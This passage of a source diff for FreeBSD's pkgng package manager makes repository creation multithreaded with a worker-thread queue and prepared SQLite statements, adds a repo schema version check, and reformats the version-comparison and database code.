	pthread_mutex_init(&thd_data.results_m, NULL);
+
	pthread_cond_init(&thd_data.has_result, NULL);
+
	pthread_cond_init(&thd_data.has_room, NULL);
+

+
	/* Launch workers */
+
	tids = calloc(num_workers, sizeof(pthread_t));
+
	for (int i = 0; i < num_workers; i++) {
+
		pthread_create(&tids[i], NULL, (void *)&read_pkg_file, &thd_data);
	}

-
	manifest = sbuf_new_auto();
-
	while ((ent = fts_read(fts)) != NULL) {
+
	for (;;) {
+
		struct pkg_result *r;
+

		const char *name, *version, *origin, *comment, *desc;
		const char *arch, *maintainer, *www, *prefix;
		int64_t flatsize;
		lic_t licenselogic;

-
		cksum[0] = '\0';
-
		/* skip everything that is not a file */
-
		if (ent->fts_info != FTS_F)
-
			continue;
-

-
		ext = strrchr(ent->fts_name, '.');
-

-
		if (ext == NULL)
-
			continue;
-

-
		if (strcmp(ext, ".tgz") != 0 &&
-
				strcmp(ext, ".tbz") != 0 &&
-
				strcmp(ext, ".txz") != 0 &&
-
				strcmp(ext, ".tar") != 0)
-
			continue;
-

-
		if (strcmp(ent->fts_name, "repo.txz") == 0)
-
			continue;
-

-
		pkg_path = ent->fts_path;
-
		pkg_path += strlen(path);
-
		while (pkg_path[0] == '/' )
-
			pkg_path++;
-

-
		sha256_file(ent->fts_accpath, cksum);
-
		/* do not add if package if already in base */
-
		if (incremental) {
-
			sqlite3_stmt *stmt;
-
			if (sqlite3_prepare_v2(sqlite, "select count(*), cksum from packages where path=?1;",
-
			        -1, &stmt, NULL) != SQLITE_OK) {
-
				goto cleanup;
+
		pthread_mutex_lock(&thd_data.results_m);
+
		while ((r = STAILQ_FIRST(&thd_data.results)) == NULL) {
+
			if (thd_data.thd_finished == num_workers) {
+
				break;
			}
-
			sqlite3_bind_text(stmt, 1, pkg_path, -1, SQLITE_STATIC);
-

-
			if (sqlite3_step(stmt) != SQLITE_ROW) {
-
				ERROR_SQLITE(sqlite);
-
				goto cleanup;
-
			}
-
			if (sqlite3_column_int(stmt, 0) > 0) {
-
				if (strcmp(sqlite3_column_text(stmt, 1), cksum) == 0) {
-
					sqlite3_finalize(stmt);
-
					continue;
-
				}
+
			pthread_cond_wait(&thd_data.has_result, &thd_data.results_m);
+
		}
+
		if (r != NULL) {
+
			STAILQ_REMOVE_HEAD(&thd_data.results, next);
+
			thd_data.num_results--;
+
			pthread_cond_signal(&thd_data.has_room);
+
		}
+
		pthread_mutex_unlock(&thd_data.results_m);
+
		if (r == NULL) {
+
			break;
+
		}

-
				sqlite3_finalize(stmt);
-
				if (sqlite3_prepare_v2(sqlite, "delete from packages where path=?1;",
-
							-1, &stmt, NULL) != SQLITE_OK) {
-
					goto cleanup;
-
				}
+
		if (r->retcode != EPKG_OK) {
+
			continue;
+
		}

-
				sqlite3_bind_text(stmt, 1, pkg_path, -1, SQLITE_STATIC);
-
				sqlite3_step(stmt);
-
			}
+
		/* do not add if package if already in repodb
+
		   (possibly at a different pkg_path) */

-
			sqlite3_finalize(stmt);
+
		if (run_prepared_statement(EXISTS, r->cksum) != SQLITE_ROW) {
+
			ERROR_SQLITE(sqlite);
+
			goto cleanup;
		}
-

-
		if (pkg_open(&pkg, ent->fts_accpath, manifest) != EPKG_OK) {
-
			retcode = EPKG_WARN;
+
		if (sqlite3_column_int(STMT(EXISTS), 0) > 0) {
			continue;
		}

		if (progress != NULL)
-
			progress(pkg, data);
-

-
		pkg_get(pkg, PKG_ORIGIN, &origin, PKG_NAME, &name, PKG_VERSION, &version,
-
		    PKG_COMMENT, &comment, PKG_DESC, &desc, PKG_ARCH, &arch,
-
		    PKG_MAINTAINER, &maintainer, PKG_WWW, &www, PKG_PREFIX, &prefix,
-
		    PKG_FLATSIZE, &flatsize, PKG_LICENSE_LOGIC, &licenselogic);
-

-
		sqlite3_bind_text(stmt_pkg, 1, origin, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 2, name, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 3, version, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 4, comment, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 5, desc, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 6, arch, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 7, maintainer, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 8, www, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 9, prefix, -1, SQLITE_STATIC);
-
		sqlite3_bind_int64(stmt_pkg, 10, ent->fts_statp->st_size);
-
		sqlite3_bind_int64(stmt_pkg, 11, flatsize);
-
		sqlite3_bind_int64(stmt_pkg, 12, licenselogic);
-
		sqlite3_bind_text(stmt_pkg, 13, cksum, -1, SQLITE_STATIC);
-
		sqlite3_bind_text(stmt_pkg, 14, pkg_path, -1, SQLITE_STATIC);
-

-
		if ((ret = sqlite3_step(stmt_pkg)) != SQLITE_DONE) {
+
			progress(r->pkg, data);
+

+
		pkg_get(r->pkg, PKG_ORIGIN, &origin, PKG_NAME, &name,
+
		    PKG_VERSION, &version, PKG_COMMENT, &comment,
+
		    PKG_DESC, &desc, PKG_ARCH, &arch,
+
		    PKG_MAINTAINER, &maintainer, PKG_WWW, &www,
+
		    PKG_PREFIX, &prefix, PKG_FLATSIZE, &flatsize,
+
		    PKG_LICENSE_LOGIC, &licenselogic);
+

+
	try_again:
+
		if ((ret = run_prepared_statement(PKG, origin, name, version,
+
		    comment, desc, arch, maintainer, www, prefix,
+
		    r->size, flatsize, (int64_t)licenselogic, r->cksum,
+
		    r->path)) != SQLITE_DONE) {
			if (ret == SQLITE_CONSTRAINT) {
-
				pkg_emit_error("Another package already provides %s", origin);
+
				switch(maybe_delete_conflicting(origin,
+
				    version, r->path)) {
+
				case EPKG_FATAL: /* sqlite error */
+
					ERROR_SQLITE(sqlite);
+
					retcode = EPKG_FATAL;
+
					goto cleanup;
+
					break;
+
				case EPKG_END: /* repo already has newer */
+
					continue;
+
					break;
+
				default: /* conflict cleared, try again */
+
					goto try_again;
+
					break;
+
				}
			} else {
				ERROR_SQLITE(sqlite);
+
				retcode = EPKG_FATAL;
+
				goto cleanup;
			}
-
			retcode = EPKG_FATAL;
-
			goto cleanup;
		}
-
		sqlite3_reset(stmt_pkg);

		package_id = sqlite3_last_insert_rowid(sqlite);

		dep = NULL;
-
		while (pkg_deps(pkg, &dep) == EPKG_OK) {
-
			sqlite3_bind_text(stmt_deps, 1, pkg_dep_get(dep, PKG_DEP_ORIGIN), -1, SQLITE_STATIC);
-
			sqlite3_bind_text(stmt_deps, 2, pkg_dep_get(dep, PKG_DEP_NAME), -1, SQLITE_STATIC);
-
			sqlite3_bind_text(stmt_deps, 3, pkg_dep_get(dep, PKG_DEP_VERSION), -1, SQLITE_STATIC);
-
			sqlite3_bind_int64(stmt_deps, 4, package_id);
-

-
			if (sqlite3_step(stmt_deps) != SQLITE_DONE) {
+
		while (pkg_deps(r->pkg, &dep) == EPKG_OK) {
+
			if (run_prepared_statement(DEPS,
+
			    pkg_dep_origin(dep),
+
			    pkg_dep_name(dep),
+
			    pkg_dep_version(dep),
+
			    package_id) != SQLITE_DONE) {
				ERROR_SQLITE(sqlite);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-
			sqlite3_reset(stmt_deps);
		}

		category = NULL;
-
		while (pkg_categories(pkg, &category) == EPKG_OK) {
-
			sqlite3_bind_text(stmt_cat1, 1, pkg_category_name(category), -1, SQLITE_STATIC);
-
			sqlite3_bind_int64(stmt_cat2, 1, package_id);
-
			sqlite3_bind_text(stmt_cat2, 2, pkg_category_name(category), -1, SQLITE_STATIC);
-

-
			if (sqlite3_step(stmt_cat1) != SQLITE_DONE) {
+
		while (pkg_categories(r->pkg, &category) == EPKG_OK) {
+
			const char *cat_name = pkg_category_name(category);
+

+
			ret = run_prepared_statement(CAT1, cat_name);
+
			if (ret == SQLITE_DONE)
+
			    ret = run_prepared_statement(CAT2, package_id,
+
			        cat_name);
+
			if (ret != SQLITE_DONE)
+
			{
				ERROR_SQLITE(sqlite);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-

-
			if (sqlite3_step(stmt_cat2) != SQLITE_DONE) {
-
				ERROR_SQLITE(sqlite);
-
				retcode = EPKG_FATAL;
-
				goto cleanup;
-
			}
-
			sqlite3_reset(stmt_cat1);
-
			sqlite3_reset(stmt_cat2);
		}

		license = NULL;
-
		while (pkg_licenses(pkg, &license) == EPKG_OK) {
-
			sqlite3_bind_text(stmt_lic1, 1, pkg_license_name(license), -1, SQLITE_STATIC);
-
			sqlite3_bind_int64(stmt_lic2, 1, package_id);
-
			sqlite3_bind_text(stmt_lic2, 2, pkg_license_name(license), -1, SQLITE_STATIC);
-

-
			if (sqlite3_step(stmt_lic1) != SQLITE_DONE) {
-
				ERROR_SQLITE(sqlite);
-
				retcode = EPKG_FATAL;
-
				goto cleanup;
-
			}
-

-
			if (sqlite3_step(stmt_lic2) != SQLITE_DONE) {
+
		while (pkg_licenses(r->pkg, &license) == EPKG_OK) {
+
			const char *lic_name = pkg_license_name(license);
+

+
			ret = run_prepared_statement(LIC1, lic_name);
+
			if (ret == SQLITE_DONE)
+
				ret = run_prepared_statement(LIC2, package_id,
+
				    lic_name);
+
			if (ret != SQLITE_DONE) {
				ERROR_SQLITE(sqlite);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-
			sqlite3_reset(stmt_lic1);
-
			sqlite3_reset(stmt_lic2);
		}
		option = NULL;
-
		while (pkg_options(pkg, &option) == EPKG_OK) {
-
			sqlite3_bind_text(stmt_opts, 1, pkg_option_opt(option), -1, SQLITE_STATIC);
-
			sqlite3_bind_text(stmt_opts, 2, pkg_option_value(option), -1, SQLITE_STATIC);
-
			sqlite3_bind_int64(stmt_opts, 3, package_id);
-

-
			if (sqlite3_step(stmt_opts) != SQLITE_DONE) {
+
		while (pkg_options(r->pkg, &option) == EPKG_OK) {
+
			if (run_prepared_statement(OPTS,
+
			    pkg_option_opt(option),
+
			    pkg_option_value(option),
+
			    package_id) != SQLITE_DONE) {
				ERROR_SQLITE(sqlite);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-
			sqlite3_reset(stmt_opts);
		}

		shlib = NULL;
-
		while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
-
			sqlite3_bind_text(stmt_shlib1, 1, pkg_shlib_name(shlib), -1, SQLITE_STATIC);
-
			sqlite3_bind_int64(stmt_shlib2, 1, package_id);
-
			sqlite3_bind_text(stmt_shlib2, 2, pkg_shlib_name(shlib), -1, SQLITE_STATIC);
-

-
			if (sqlite3_step(stmt_shlib1) != SQLITE_DONE) {
+
		while (pkg_shlibs(r->pkg, &shlib) == EPKG_OK) {
+
			const char *shlib_name = pkg_shlib_name(shlib);
+

+
			ret = run_prepared_statement(SHLIB1, shlib_name);
+
			if (ret == SQLITE_DONE)
+
			    ret = run_prepared_statement(SHLIB2, package_id,
+
			        shlib_name);
+
			if (ret != SQLITE_DONE)
+
			{
				ERROR_SQLITE(sqlite);
				retcode = EPKG_FATAL;
				goto cleanup;
			}
-

-
			if (sqlite3_step(stmt_shlib2) != SQLITE_DONE) {
-
				ERROR_SQLITE(sqlite);
-
				retcode = EPKG_FATAL;
-
				goto cleanup;
-
			}
-
			sqlite3_reset(stmt_shlib1);
-
			sqlite3_reset(stmt_shlib2);
		}
+

+
		pkg_free(r->pkg);
+
		free(r);
	}

	if (sqlite3_exec(sqlite, "COMMIT;", NULL, NULL, &errmsg) != SQLITE_OK) {
@@ -604,50 +799,130 @@ pkg_create_repo(char *path, void (progress)(struct pkg *pkg, void *data), void *
	}

	cleanup:
+

+
	if (tids != NULL) {
+
		// Cancel running threads
+
		if (retcode != EPKG_OK) {
+
			pthread_mutex_lock(&thd_data.fts_m);
+
			thd_data.stop = true;
+
			pthread_mutex_unlock(&thd_data.fts_m);
+
		}
+
		// Join on threads to release thread IDs
+
		for (int i = 0; i < num_workers; i++) {
+
			pthread_join(tids[i], NULL);
+
		}
+
		free(tids);
+
	}
+

	if (fts != NULL)
		fts_close(fts);

-
	if (pkg != NULL)
-
		pkg_free(pkg);
+
	finalize_prepared_statements();

-
	if (stmt_pkg != NULL)
-
		sqlite3_finalize(stmt_pkg);
+
	if (sqlite != NULL)
+
		sqlite3_close(sqlite);

-
	if (stmt_deps != NULL)
-
		sqlite3_finalize(stmt_deps);
+
	if (errmsg != NULL)
+
		sqlite3_free(errmsg);

-
	if (stmt_cat1 != NULL)
-
		sqlite3_finalize(stmt_cat1);
+
	sqlite3_shutdown();

-
	if (stmt_cat2 != NULL)
-
		sqlite3_finalize(stmt_cat2);
+
	return (retcode);
+
}

-
	if (stmt_lic1 != NULL)
-
		sqlite3_finalize(stmt_lic1);
+
void
+
read_pkg_file(void *data)
+
{
+
	struct thd_data *d = (struct thd_data*) data;
+
	struct pkg_result *r;

-
	if (stmt_lic2 != NULL)
-
		sqlite3_finalize(stmt_lic2);
+
	FTSENT *fts_ent = NULL;
+
	char fts_accpath[MAXPATHLEN + 1];
+
	char fts_path[MAXPATHLEN + 1];
+
	char fts_name[MAXPATHLEN + 1];
+
	off_t st_size;
+
	int fts_info;

-
	if (stmt_opts != NULL)
-
		sqlite3_finalize(stmt_opts);
+
	char *ext = NULL;
+
	char *pkg_path;

-
	if (stmt_shlib1 != NULL)
-
		sqlite3_finalize(stmt_shlib1);
+
	for (;;) {
+
		fts_ent = NULL;
+

+
		/*
+
		 * Get a file to read from.
+
		 * Copy the data we need from the fts entry localy because as soon as
+
		 * we unlock the fts_m mutex, we can not access it.
+
		 */
+
		pthread_mutex_lock(&d->fts_m);
+
		if (d->stop == false) {
+
			fts_ent = fts_read(d->fts);
+
		}
+
		if (fts_ent != NULL) {
+
			strlcpy(fts_accpath, fts_ent->fts_accpath, sizeof(fts_accpath));
+
			strlcpy(fts_path, fts_ent->fts_path, sizeof(fts_path));
+
			strlcpy(fts_name, fts_ent->fts_name, sizeof(fts_name));
+
			st_size = fts_ent->fts_statp->st_size;
+
			fts_info = fts_ent->fts_info;
+
		}
+
		pthread_mutex_unlock(&d->fts_m);

-
	if (stmt_shlib2 != NULL)
-
		sqlite3_finalize(stmt_shlib2);
+
		// There is no more jobs, exit the main loop.
+
		if (fts_ent == NULL)
+
			break;

-
	if (sqlite != NULL)
-
		sqlite3_close(sqlite);
+
		/* skip everything that is not a file */
+
		if (fts_info != FTS_F)
+
			continue;

-
	if (errmsg != NULL)
-
		sqlite3_free(errmsg);
+
		ext = strrchr(fts_name, '.');

-
	sbuf_free(manifest);
+
		if (ext == NULL)
+
			continue;

-
	sqlite3_shutdown();
+
		if (strcmp(ext, ".tgz") != 0 &&
+
				strcmp(ext, ".tbz") != 0 &&
+
				strcmp(ext, ".txz") != 0 &&
+
				strcmp(ext, ".tar") != 0)
+
			continue;

-
	return (retcode);
+
		if (strcmp(fts_name, "repo.txz") == 0)
+
			continue;
+

+
		pkg_path = fts_path;
+
		pkg_path += strlen(d->root_path);
+
		while (pkg_path[0] == '/')
+
			pkg_path++;
+

+
		r = calloc(1, sizeof(struct pkg_result));
+
		strlcpy(r->path, pkg_path, sizeof(r->path));
+
		r->size = st_size;
+

+
		sha256_file(fts_accpath, r->cksum);
+

+
		if (pkg_open(&r->pkg, fts_accpath) != EPKG_OK) {
+
			r->retcode = EPKG_WARN;
+
		}
+

+
		/* Add result to the FIFO and notify */
+
		pthread_mutex_lock(&d->results_m);
+
		while (d->num_results >= d->max_results) {
+
			pthread_cond_wait(&d->has_room, &d->results_m);
+
		}
+
		STAILQ_INSERT_TAIL(&d->results, r, next);
+
		d->num_results++;
+
		pthread_cond_signal(&d->has_result);
+
		pthread_mutex_unlock(&d->results_m);
+
	}
+

+
	/*
+
	 * This thread is about to exit.
+
	 * Notify the main thread that we are done.
+
	 */
+
	pthread_mutex_lock(&d->results_m);
+
	d->thd_finished++;
+
	pthread_cond_signal(&d->has_result);
+
	pthread_mutex_unlock(&d->results_m);
}

int
@@ -661,7 +936,7 @@ pkg_finish_repo(char *path, pem_password_cb *password_cb, char *rsa_key_path)
	
	if (!is_dir(path)) {
	    pkg_emit_error("%s is not a directory", path);
-
	    return EPKG_FATAL;
+
	    return (EPKG_FATAL);
	}

	snprintf(repo_path, sizeof(repo_path), "%s/repo.sqlite", path);
@@ -676,9 +951,66 @@ pkg_finish_repo(char *path, pem_password_cb *password_cb, char *rsa_key_path)

		free(sigret);
	}
-
	packing_append_file_attr(pack, repo_path, "repo.sqlite", "root", "wheel", 0644);
+
	packing_append_file_attr(pack, repo_path, "repo.sqlite",
+
	    "root", "wheel", 0644);
	unlink(repo_path);
	packing_finish(pack);

	return (EPKG_OK);
}
+

+
int
+
pkg_check_repo_version(struct pkgdb *db, const char *database)
+
{
+
	int reposcver;
+
	int repomajor;
+
	int ret;
+

+
	assert(db != NULL);
+
	assert(database != NULL);
+

+
	if ((ret = get_repo_user_version(db->sqlite, database, &reposcver))
+
	    != EPKG_OK)
+
		return (ret);	/* sqlite error */
+

+
	/*
+
	 * If the local pkgng uses a repo schema behind that used to
+
	 * create the repo, we may still be able use it for reading
+
	 * (ie pkg install), but pkg repo can't do an incremental
+
	 * update unless the actual schema matches the compiled in
+
	 * schema version.
+
	 *
+
	 * Use a major - minor version schema: as the user_version
+
	 * PRAGMA takes an integer version, encode this as MAJOR *
+
	 * 1000 + MINOR.
+
	 *
+
	 * So long as the major versions are the same, the local pkgng
+
	 * should be compatible with any repo created by a more recent
+
	 * pkgng
+
	 */
+

+
	/* --- Temporary ---- Grandfather in the old repo schema version
+
	   so this patch doesn't immediately invalidate all the repos out there */
+
	if (reposcver == 2)
+
		reposcver = 2000;
+
	if (reposcver == 3)
+
		reposcver = 2001;
+

+
	if (reposcver > REPO_SCHEMA_VERSION) {
+
		pkg_emit_error("Repo %s (schema version %d) is too new - we can"
+
		    " accept at most version %d", database, reposcver,
+
		    REPO_SCHEMA_VERSION);
+
		return (EPKG_REPOSCHEMA);
+
	}
+
	
+
	repomajor = reposcver / 1000;
+

+
	if (repomajor < REPO_SCHEMA_MAJOR) {
+
		pkg_emit_error("Repo %s (schema version %d) is too old - "
+
		    "need at least schema %d", database, reposcver,
+
		    REPO_SCHEMA_MAJOR * 1000);
+
		return (EPKG_REPOSCHEMA);
+
	}
+

+
	return (EPKG_OK);
+
}
modified libpkg/pkg_version.c
@@ -43,7 +43,8 @@
 * Based on work of Jeremy D. Lea.
 */
static const char *
-
split_version(const char *pkgname, const char **endname, unsigned long *epoch, unsigned long *revision)
+
split_version(const char *pkgname, const char **endname,
+
    unsigned long *epoch, unsigned long *revision)
{
	char *ch;
	const char *versionstr;
@@ -59,7 +60,10 @@ split_version(const char *pkgname, const char **endname, unsigned long *epoch, u
	/* Cheat if we are just passed a version, not a valid package name */
	versionstr = ch ? ch + 1 : pkgname;

-
	/* Look for the last '_' in the version string, advancing the end pointer */
+
	/*
+
	 * Look for the last '_' in the version string, advancing the
+
	 * end pointer.
+
	 */
	ch = strrchr(versionstr, '_');

	if (revision != NULL)
@@ -76,9 +80,13 @@ split_version(const char *pkgname, const char **endname, unsigned long *epoch, u
	if (ch && !endversionstr)
		endversionstr = ch;

-
	/* set the pointer behind the last character of the version without revision or epoch */
+
	/*
+
	 * set the pointer behind the last character of the version without
+
	 * revision or epoch
+
	 */
	if (endname)
-
		*endname = endversionstr ? endversionstr : strrchr(versionstr, '\0');
+
		*endname = endversionstr ? endversionstr :
+
					   strrchr(versionstr, '\0');

	return versionstr;
}
@@ -120,7 +128,7 @@ typedef struct {
 *   sort first (10 < 10a < 10b)
 * - missing version numbers (in components starting with a letter) sort as -1
 *   (a < 0, 10.a < 10)
-
 * - a separator is inserted before the special strings "pl", "alpha", "beta", 
+
 * - a separator is inserted before the special strings "pl", "alpha", "beta",
 *   "pre" and "rc".
 * - "pl" sorts before every other letter, "alpha", "beta", "pre" and "rc"
 *   sort as a, b, p and r. (10alpha = 10.a < 10, but 10 < 10a; pl11 < alpha3
@@ -186,8 +194,9 @@ get_component(const char *position, version_component *component)
		if (isalpha(pos[1])) {
			unsigned int i;
			for (i = 0; stage[i].name; i++) {
-
				if (strncasecmp(pos, stage[i].name, stage[i].namelen) == 0
-
						&& !isalpha(pos[stage[i].namelen])) {
+
				size_t len = stage[i].namelen;
+
				if (strncasecmp(pos, stage[i].name, len) == 0 &&
+
				    !isalpha(pos[stage[i].namelen])) {
					if (hasstage) {
						/* stage to value */
						component->a = stage[i].value;
@@ -234,9 +243,9 @@ get_component(const char *position, version_component *component)
	}

	/* skip trailing separators */
-
	while (*pos && !isdigit(*pos) && !isalpha(*pos) && *pos != '+' && *pos != '*') {
+
	while (*pos && !isdigit(*pos) && !isalpha(*pos)
+
	    && *pos != '+' && *pos != '*')
		pos++;
-
	}

	return pos;
}
@@ -281,10 +290,13 @@ pkg_version_cmp(const char * const pkg1, const char * const pkg2)
	}

	/* Shortcut check for equality before invoking the parsing routines. */
-
	if (result == 0 && (ve1 - v1 != ve2 - v2 || strncasecmp(v1, v2, ve1 - v1) != 0)) {
-
		/* Loop over different components (the parts separated by dots).
-
		 * If any component differs, we have the basis for an inequality. */
-
		while(result == 0 && (v1 < ve1 || v2 < ve2)) {
+
	if (result == 0 &&
+
	    (ve1 - v1 != ve2 - v2 || strncasecmp(v1, v2, ve1 - v1) != 0)) {
+
		/*
+
		 * Loop over different components (the parts separated by dots).
+
		 * If any component differs, there is an inequality.
+
		 */
+
		while (result == 0 && (v1 < ve1 || v2 < ve2)) {
			int block_v1 = 0;
			int block_v2 = 0;
			version_component vc1 = {0, 0, 0};
modified libpkg/pkgdb.c
@@ -4,6 +4,8 @@
 * Copyright (c) 2011 Will Andrews <will@FreeBSD.org>
 * Copyright (c) 2011 Philippe Pepiot <phil@philpep.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
+
 * Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
@@ -51,21 +53,30 @@
#include "private/db_upgrades.h"
#define DBVERSION 12

-
static struct pkgdb_it * pkgdb_it_new(struct pkgdb *, sqlite3_stmt *, int);
+
#define PKGGT	(1U << 1)
+
#define PKGLT	(1U << 2)
+
#define PKGEQ	(1U << 3)
+

+
static struct pkgdb_it *pkgdb_it_new(struct pkgdb *, sqlite3_stmt *, int);
static void pkgdb_regex(sqlite3_context *, int, sqlite3_value **, int);
static void pkgdb_regex_basic(sqlite3_context *, int, sqlite3_value **);
static void pkgdb_regex_extended(sqlite3_context *, int, sqlite3_value **);
static void pkgdb_regex_delete(void *);
static void pkgdb_pkglt(sqlite3_context *, int, sqlite3_value **);
static void pkgdb_pkggt(sqlite3_context *, int, sqlite3_value **);
-
static int get_pragma(sqlite3 *, const char *, int64_t *);
+
static void pkgdb_pkgle(sqlite3_context *, int, sqlite3_value **);
+
static void pkgdb_pkgge(sqlite3_context *, int, sqlite3_value **);
static int pkgdb_upgrade(struct pkgdb *);
static void populate_pkg(sqlite3_stmt *stmt, struct pkg *pkg);
static int create_temporary_pkgjobs(sqlite3 *);
static void pkgdb_detach_remotes(sqlite3 *);
static bool is_attached(sqlite3 *, const char *);
static void report_already_installed(sqlite3 *);
-
static int sqlcmd_init(sqlite3 *db, __unused const char **err, __unused const void *noused);
+
static int sqlcmd_init(sqlite3 *db, __unused const char **err,
+
    __unused const void *noused);
+
static int prstmt_initialize(struct pkgdb *db);
+
/* static int run_prstmt(sql_prstmt_index s, ...); */
+
static void prstmt_finalize(struct pkgdb *db);

extern int sqlite3_shell(int, char**);

@@ -73,38 +84,39 @@ static struct column_mapping {
	const char * const name;
	pkg_attr type;
} columns[] = {
-
	{ "origin", PKG_ORIGIN},
-
	{ "name", PKG_NAME },
-
	{ "version", PKG_VERSION },
-
	{ "comment", PKG_COMMENT },
-
	{ "desc", PKG_DESC },
-
	{ "message", PKG_MESSAGE },
-
	{ "arch", PKG_ARCH },
-
	{ "maintainer", PKG_MAINTAINER},
-
	{ "www", PKG_WWW},
-
	{ "prefix", PKG_PREFIX},
-
	{ "cksum", PKG_CKSUM},
-
	{ "repopath", PKG_REPOPATH},
-
	{ "dbname", PKG_REPONAME},
-
	{ "newversion", PKG_NEWVERSION},
-
	{ "flatsize", PKG_FLATSIZE },
+
	{ "origin",	PKG_ORIGIN },
+
	{ "name",	PKG_NAME },
+
	{ "version",	PKG_VERSION },
+
	{ "comment",	PKG_COMMENT },
+
	{ "desc",	PKG_DESC },
+
	{ "message",	PKG_MESSAGE },
+
	{ "arch",	PKG_ARCH },
+
	{ "maintainer",	PKG_MAINTAINER },
+
	{ "www",	PKG_WWW },
+
	{ "prefix",	PKG_PREFIX },
+
	{ "cksum",	PKG_CKSUM },
+
	{ "repopath",	PKG_REPOPATH },
+
	{ "dbname",	PKG_REPONAME },
+
	{ "newversion",	PKG_NEWVERSION },
+
	{ "flatsize",	PKG_FLATSIZE },
	{ "newflatsize", PKG_NEW_FLATSIZE },
-
	{ "pkgsize", PKG_NEW_PKGSIZE },
-
	{ "licenselogic", PKG_LICENSE_LOGIC},
-
	{ "automatic", PKG_AUTOMATIC},
-
	{ "time", PKG_TIME},
-
	{ "infos", PKG_INFOS},
-
	{ "rowid", PKG_ROWID},
-
	{ "id", PKG_ROWID },
-
	{ "weight", -1 },
-
	{ NULL, -1 }
+
	{ "pkgsize",	PKG_NEW_PKGSIZE },
+
	{ "licenselogic", PKG_LICENSE_LOGIC },
+
	{ "automatic",	PKG_AUTOMATIC },
+
	{ "time",	PKG_TIME },
+
	{ "infos",	PKG_INFOS },
+
	{ "rowid",	PKG_ROWID },
+
	{ "id",		PKG_ROWID },
+
	{ "weight",	-1 },
+
	{ NULL,		-1 }
};

static int
-
load_val(sqlite3 *db, struct pkg *pkg, const char *sql, int flags, int (*pkg_adddata)(struct pkg *pkg, const char *data), int list)
+
load_val(sqlite3 *db, struct pkg *pkg, const char *sql, unsigned flags,
+
    int (*pkg_adddata)(struct pkg *pkg, const char *data), int list)
{
-
	sqlite3_stmt *stmt;
-
	int ret;
+
	sqlite3_stmt	*stmt;
+
	int		 ret;

	assert(db != NULL && pkg != NULL);

@@ -118,7 +130,7 @@ load_val(sqlite3 *db, struct pkg *pkg, const char *sql, int flags, int (*pkg_add

	sqlite3_bind_int64(stmt, 1, pkg->rowid);

-
	while (( ret = sqlite3_step(stmt)) == SQLITE_ROW) {
+
	while ((ret = sqlite3_step(stmt)) == SQLITE_ROW) {
		pkg_adddata(pkg, sqlite3_column_text(stmt, 0));
	}

@@ -138,8 +150,8 @@ load_val(sqlite3 *db, struct pkg *pkg, const char *sql, int flags, int (*pkg_add
static const char *
pkgdb_get_reponame(struct pkgdb *db, const char *repo)
{
-
	const char *reponame = NULL;
-
	bool multirepos_enabled = false;
+
	const char	*reponame = NULL;
+
	bool		 multirepos_enabled = false;

	assert(db->type == PKGDB_REMOTE);

@@ -149,7 +161,8 @@ pkgdb_get_reponame(struct pkgdb *db, const char *repo)
	if (multirepos_enabled) {
		if (repo != NULL) {
			if (!is_attached(db->sqlite, repo)) {
-
				pkg_emit_error("repository '%s' does not exist.", repo);
+
				pkg_emit_error("repository '%s' does not exist",
+
				    repo);
				return (NULL);
			}

@@ -159,8 +172,10 @@ pkgdb_get_reponame(struct pkgdb *db, const char *repo)
			reponame = "default";
		}
	} else {
-
		if (repo != NULL && strcmp(repo, "repo") && strcmp(repo, "remote")) {
-
			pkg_emit_error("PKG_MULTIREPOS is not enabled. -r flag not supported.", repo);
+
		if (repo != NULL && strcmp(repo, "repo") &&
+
		    strcmp(repo, "remote")) {
+
			pkg_emit_error("PKG_MULTIREPOS is not enabled. "
+
			    "-r flag not supported.", repo);
			return (NULL);
		}
		/* default repository in single-repo is 'remote' */
@@ -172,41 +187,48 @@ pkgdb_get_reponame(struct pkgdb *db, const char *repo)

static void
populate_pkg(sqlite3_stmt *stmt, struct pkg *pkg) {
-
	int i, icol = 0;
-
	const char *colname;
+
	int		 i, icol = 0;
+
	const char	*colname;

	assert(stmt != NULL);

	for (icol = 0; icol < sqlite3_column_count(stmt); icol++) {
		colname = sqlite3_column_name(stmt, icol);
		switch (sqlite3_column_type(stmt, icol)) {
-
			case SQLITE_TEXT:
-
				for (i = 0; columns[i].name != NULL; i++ ) {
-
					if (!strcmp(columns[i].name, colname)) {
-
						pkg_set(pkg, columns[i].type, sqlite3_column_text(stmt, icol));
-
						break;
-
					}
+
		case SQLITE_TEXT:
+
			for (i = 0; columns[i].name != NULL; i++) {
+
				if (!strcmp(columns[i].name, colname)) {
+
					pkg_set(pkg, columns[i].type,
+
					    sqlite3_column_text(stmt,
+
					    icol));
+
					break;
				}
-
				if (columns[i].name == NULL)
-
					pkg_emit_error("Unknown column %s", colname);
-
				break;
-
			case SQLITE_INTEGER:
-
				for (i = 0; columns[i].name != NULL; i++ ) {
-
					if (!strcmp(columns[i].name, colname)) {
-
						pkg_set(pkg, columns[i].type, sqlite3_column_int64(stmt, icol));
-
						break;
-
					}
+
			}
+
			if (columns[i].name == NULL)
+
				pkg_emit_error("Unknown column %s",
+
				    colname);
+
			break;
+
		case SQLITE_INTEGER:
+
			for (i = 0; columns[i].name != NULL; i++) {
+
				if (!strcmp(columns[i].name, colname)) {
+
					pkg_set(pkg, columns[i].type,
+
					    sqlite3_column_int64(stmt,
+
					    icol));
+
					break;
				}
-
				if (columns[i].name == NULL)
-
					pkg_emit_error("Unknown column %s", colname);
-
				break;
-
			case SQLITE_BLOB:
-
			case SQLITE_FLOAT:
-
